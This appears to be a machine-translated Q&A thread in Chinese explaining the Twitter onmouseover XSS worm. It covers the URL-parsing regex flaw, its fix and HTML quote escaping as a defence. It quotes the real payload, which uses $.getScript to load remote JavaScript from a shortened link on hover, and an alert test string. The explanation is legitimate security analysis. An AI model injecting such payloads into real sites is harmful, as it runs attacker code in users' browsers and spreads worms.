你能解释一下今天Twitter上究竟发生了什么吗?基本上,漏洞利用导致人们发布包含此链接的推文:
http://t.co/@"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/
这在技术上是XSS攻击还是其他什么?
以下是Twitter主页的外观:http://www.flickr.com/photos/travelist/6832853140/
该漏洞是因为未正确解析URL.例如,以下URL发布到Twitter:
http://thisisatest.com/@"onmouseover="alert('test xss')"/
Twitter将此视为URL.解析时,Twitter会围绕该代码包含一个链接,因此HTML现在看起来像:
http://thisisatest.com/@"onmouseover="alert('test xss')"/
你可以看到,通过输入URL和尾部斜杠,Twitter认为它有一个有效的URL,即使它包含一个引号标记,允许它转义(即终止href
属性,对于那里的学生)URL属性并包括鼠标.您可以向页面写入任何内容,包括关闭链接和包含脚本元素.此外,您不受限制,因为您可以使用140个字符限制$.getScript()
.
如果提交此提交,则会阻止此XSS漏洞.
详细而言,违规的正则表达式是:
REGEXEN[:valid_url_path_chars] = /(?: #{REGEXEN[:wikipedia_disambiguation]}| @[^\/]+\/| [\.\,]?#{REGEXEN[:valid_general_url_path_chars]} )/ix
@[^\/]+\/
当它以@符号作为前缀并以正斜杠为后缀时,该部分允许任何字符(正斜杠除外).
@#{REGEXEN[:valid_general_url_path_chars]}+\/
现在更改为只允许有效的URL字符.
是的,这是XSS,它正在攻击一个javascript事件处理程序.这个XSS的酷炫之处在于它不需要<>
利用.注入的字符串是:size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"
.
它size::999999999999px
使得它非常大,并且更有可能有人会将鼠标悬停在它上面.真正的问题是onmouseover=
事件处理程序.
要在PHP中防止这种情况,您需要将引号转换为其html实体:
$var=htmlspecialchars($var,ENT_QUOTES);
这是因为HTML无法像sql一样转义引号: \'